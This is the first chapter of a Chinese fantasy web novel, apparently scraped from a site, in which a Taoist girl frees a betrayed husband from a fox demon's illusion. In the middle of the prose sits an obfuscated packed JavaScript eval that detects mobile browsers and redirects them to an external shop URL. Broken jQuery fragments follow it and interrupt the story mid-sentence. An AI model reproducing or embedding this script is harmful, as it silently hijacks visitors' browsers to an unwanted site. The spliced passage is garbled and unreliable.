1. 进城

作品:《咸鱼女主她上进了

    七月的午后像只密不透风的蒸笼,杨显文拖着行李箱站在家门口,后背的衬衫已经洇出深色的汗渍。刚打开家门的瞬间,冰凉的气息夹杂着孩童的欢乐声浇散了他身上的暑气。


    扑面而来的饭香味洗去他满身疲惫。


    他放下行李飞身迎去把老婆孩子拢入怀,便听到一声极其不和谐的女声:


    “你被偷家了,你老婆一枝红杏出墙来。”


    他的嘴角立马僵住了低头瞥了眼怀中妻子李微,见她如往常般温柔地笑后,抬眼左右望了望四周不见有人便只当是幻听了,转而拿起碗喂食刚满十岁的儿子。


    不曾想那恼人厌的声音再次响起:


    “孩子也不是你亲生的。”


    “砰”的一声,杨显文气凶凶地将手中碗筷放在桌子上,生怕吓到妻儿后心中一阵悔意,抬头瞥了眼见她们神色如常依旧面带微笑。


    杨显文发现那道女声只有他一个人能听到。


    “给兄弟养了十几年的娃,真是妥妥的大冤种。”


    他心里咯噔一声,目光打量那张稚嫩又带着笑的小脸,脑海中突然浮现同宗兄弟杨青文的脸,仔细对比儿子与他有六七像。


    他常年出差在外,青文时常过来帮衬一二,孩子自小与他亲近也正常。只是有一次他突然回家撞见青文在家陪孩子,妻子李薇洗手做羹汤,他的到来打破那温馨,倒显得他是外人了。


    杨显文的脸色愈发苍白难看,李薇待产时他在国外项目缠身回不来,是杨青文帮忙陪产。儿子小时候不懂事称呼青文“爸爸”,就连女儿也不喜欢他。


    一丝一缕汇聚成一条涓涓细流,平常忽略的细节愈发清晰。甜蜜,愤怒,不甘……多种情绪反复交杂拉扯着他,最终汇聚成浓浓的恨意。


    他一怒之下掀翻了餐桌,碗筷碎落一地,白色的画面陷入黑暗之中。


    烟雾散尽,杨显文睁开眼的时候瞧见那半空中悬着一团柔光,青色的裙裾被风吹起来像是群山中升起的袅袅炊烟,女孩头发用木簪松松挽着,几缕碎发垂在颊边。眉峰如远山含黛,眼尾微微上挑,瞳仁清澈,小脸明艳且张扬。


    “恭喜,你走出来了。”


    男人诧异了两秒,从地上坐了起来,揉了揉发疼的脑袋,意识逐渐回笼。他抬头望了望四周,大榕树底下停着他的黑色吉普。


    原来是做了个梦。


    要真是梦就好了。


    杨显文心中酸涩,他看向面前站着身着道袍的女孩,只见她身上的道袍被洗得发白,腰间挂着个五颜六色拼接而成的挎包,全身上下透露着一股清贫的气息。


    距离她三步的距离,坐着一个约莫七八岁的孩子,头顶一对毛绒狐耳。


    “你好,我叫西昭,是青云山上青云观的道士。你路遇狐妖着了道陷入幻境,是我救了你。”


    她从挎包里掏出几张明黄色的纸,而后拿出一支超市买纸送的圆珠笔递给他,“救人一命胜造七级浮屠,我不用你报答,你把今天发生的事如实写下来就行。”


    这样她好供奉给祖师爷换功德。


    没办法,她天生废材修炼慢还是个短命鬼。修道多年还是个练气期,没法靠突破飞升得道,只能做好事攒功德继续留在道门吊命。


    狐妖?长着绒毛耳朵的小孩吗?


    杨显文打量了周围两眼没看到摄影鸡,藏得是够隐秘的,只是找个小孩来cosplay实在是太忽悠人了。


    他不满地起身,见西昭看起来不过二十的年纪,“小姑娘,步入社会要多读书,别想着一步登天学人搞佛媛当网红。”


    视线对上她的道袍,又摇头:“开辟新赛道也没用,管理局都是正经修道士,你假装道媛迟早会被抓。”


    而他断不能助纣为孽。


    更何况大夏历史有真神存在,虽然神高居九重天宫不再理会凡间事务,但作为神侍的道教一直存在,他要敢配合西昭发展道媛,明天五角星叔叔就该上门请他喝茶了。


    西昭脑海里莫名冒出前阵子蹭二花手机看到的画面:身身着紧身纱衣,胸口露着八块肌cos弥勒佛的光头男人手里拿着佛珠时不时地拨动,面上带着虔诚的笑,只是那双眸中满是欲念。


    怎么能是她呢?


    她看似很凶眼冒凶光注视着杨显文,手指开始掐算,实则在她人眼里一副委屈巴巴被戳中心事又强又要面的傲娇样。


    烈日高照下,杨清文莫名生出一阵凉意。


    “心盲眼盲,难怪被女人骗的团团转。你叫杨显文,蒙城人,妻子李薇,结婚十六年,育有两儿一女。半月前大儿子车祸需要输血,你急匆匆地去抽血才发现孩子不是亲生的。”


    他站起来的腰弯了弯,“这事都上蓉城大世界首页了。”


    他已经半社会性死亡了,这事亲朋好友都知道,甚至于见到他都投以“怜悯”的目光。


    西昭幽幽说道:“那你可知……另外两个孩子也不是你亲生的。”


    “你……你胡说八道什么。”杨显文瞠目,双眸满是怒火,要不是对方是个姑娘,他早一拳头呼在脸上了。


    “你也是够笨的,只做孩子们与杨青文的亲子鉴定。”杨显文诧异的抬头,这件事情绝不会有第四人知道,他身形晃了晃,勉强撑住汽车引擎盖稳住身形。楚尔的话犹如一道惊雷,她的声音逐渐与他梦中听到的声音重叠。


    “你,你胡说……”他的声音渐渐弱了下去,年长的两个孩子既不像他,也不与他亲厚。他紧绷着的弦断了,转而嚎啕大哭起来,“为什么,李微她为什么要这么对我。为了孩子,为了家,我在外面拼死拼活没日没夜的干为她们谋一个衣食无忧,可她,她为什么要这么对我。”


    “我的孩子,没有一个是亲生的,你说得对,我是大冤种,宇宙无敌大冤种。”


    小狐狸受不了哭闹的声音,气势汹汹地站到杨显文面前,凶狠的目光望向他,脸上光滑的皮肤变换成粉橙色的毛发,张开一张血盆大口就要吞下男人。


    西昭随手甩出一张黄色符咒,小狐妖立马被定住。


    杨显文惊了惊,迅速地躲到她身后,这个时候电话联系国家特殊管理局肯定赶不过来,“大师,救命。先前是我有眼不识泰山。”


    大夏历史除了神的存在外,也有妖的存在。自数千年前,神女献祭救世后,人妖约定和平共处,后来人族能人辈进入繁荣发展时期,妖族进入人族领地魅惑君主导致民不聊生,神族降下传承让人族有与妖族对抗的能力,妖族划城而治。再后来现代文明发展对环境破坏严重导致人间妖族减少隐匿于古森林。现代世界已经鲜少出现妖了。


    男人双腿忍不住打颤,他还不能死,拼死拼活赚来的家业就算上交国家也不能留给私生子们。


    西昭上前揭开符咒,“你吓唬他干嘛?”


    小狐狸的气息很干净,身上未沾染到血债因果。


    “还不是他吵死了。”


    “你就因为这给他下了幻术?”


    狐狸点点头后狠狠瞪了男人一眼,“我赶了好几天的路才寻到片静谧的森林打坐,他突然开车冲进来,一边开一边哭还大喊大叫影响我休息。”


    杨显文脸上浮起一丝羞愧,不好意思地往西昭身后缩了缩。


    “你是半妖体质,妖身极不稳定。都下了幻术,怎么不夺了他的元阳与精气修炼?”西昭见他眼神清澈,忍不住问道。


    “呸!”小狐狸气急,“老子是男狐狸精,我不喜欢散发着臭味的人类。”


    杨显文下意识地举起手臂闻了闻,没有嗅到汗臭味才放下心来,生怕被西昭嫌弃。


    她拿出纸笔放在他们二者面前道:“既然事情都搞清楚了,那就把事情的经过都写下来吧。”


    杨显文


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129685|196209||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    迅速地拿起纸笔,时不时观察西昭神色,见她脸上漏出淡淡的笑后,歌颂的话更积极了。


    唯独小狐狸委屈地看向她,嘴巴撅着跟翘嘴似得,视线在握着笔的手和楚尔身上来回打转,半天憋不出一个字来。


    “你不会是文盲妖吧?”


    “什么文盲妖,老子有名字大名鼎鼎的青丘族胡图,而且我才刚满100岁,整日忙着修炼,哪里会人类的东西。”


    况且,他们又不跟人族打交道,学习人族的语言做什么。


    见他气急败坏地找补,西昭强压住嘴角的笑意,伸出手摸了摸小狐狸的头,“这是转化符,另一段贴在笔上,就能把你心里想的自动写下来。”


    这个灵感还是她根据人类录音转化笔发明的。


    主要是村里的山野精怪不通人类语言,为了交流方便,她研究出了转化符。真实原因则是老头子总偷懒让她代写,她属实吃不消。


    倒是妖怪扫盲迫在眉睫,如果这事情由她牵头督办,功德应该不少,有功德她就能继续回青云观当咸鱼了。


    每天吃喝玩乐,享受花花世界。


    晴天白日一道雷声乍响,杨显文缩着身子挤在吉普角落撇了眼大师,就连胡图眼里也带着淡淡的畏惧。


    “没事,没事。”西昭连忙来念了两边清心诀,再想下去道心不稳了。


    她转头望着他们写的满满两大张的功德录,满意的收进挎包内,“你可以走了。”


    杨显文欲言又止地看向她,犹豫再三后询问,“大师,我的孩子真没有一个亲生的吗?”


    西昭摇头,她的掐算从没错过。


    “我……我……。”他悲从中来,“我对不起我父母,40多岁了,还没给我老杨下留根,这辈子还咋活。”


    “其实也不是没机会。”西昭看在他文案写好的份上,又免费卜了一卦,“你往日待人谦和,帮助弱小积累不少善缘,我见你子女宫饱满,最迟三年能抱两。”


    不是他身体的问题,杨显文立马有了干劲,“求大师指条明路。”


    “合适的人远在天边,近在眼前。须知好事多磨。”


    男人沉思几秒后猛然惊醒,“多谢大师。”


    他从包里掏出一张卡片递给西昭,“大师,小小心意不成敬意。”


    她眼眸发亮般看向杨显文,手刚碰到卡片天空又响起一声惊雷,这声比方才更响。


    忘记了,她不止是废材短命鬼,还是破财命。


    “是我的错。”杨显文懊悔,误以为黄白之物辱没了道门门风,上天给了警示,“等忙完这阵子,我必定上青云观捐上几柱香火。”


    胡图没错过西昭眼中的可惜,他转了转眼珠子,立马抢走了卡片,“我帮大师收着。”


    杨显文立马应下后掏出一张卡递给小狐狸,“这是惊扰狐妖大仙的补偿。”


    西昭十分满意他的眼见力,在看到他眼底青黛、阳气不足后又提上两句,“记得晚上别去野外,白天多晒晒太阳。”


    又额外送给他一张平安符。


    “多谢大师!”杨显文鞠躬道谢。


    “快走吧,再不回家,钱都被转走了。”


    杨显文惊讶后又鞠躬道谢连忙回去,这婚离定了,李薇必须净身出户。


    胡图蹑着脚就想跑,却被西昭一把抓住,“你可不能走,妖怪必须登记在册领取妖生证才能进入人族领地。”


    “小道士,我有证,证在我大姨身上,她在无界城门等着接我。”


    “巧了,我去无界上任。”


    西昭笑嘻嘻地看着小狐狸,无证行路的妖碰上管理局只有被抓的命运。


    有她在,能确保小狐狸一路安全。


    她的心思完全落在杨显文给的卡上,满脑子都是如果破解漏财命,完全没注意到胡图在听到她去无界时眼里的震惊到怜惜。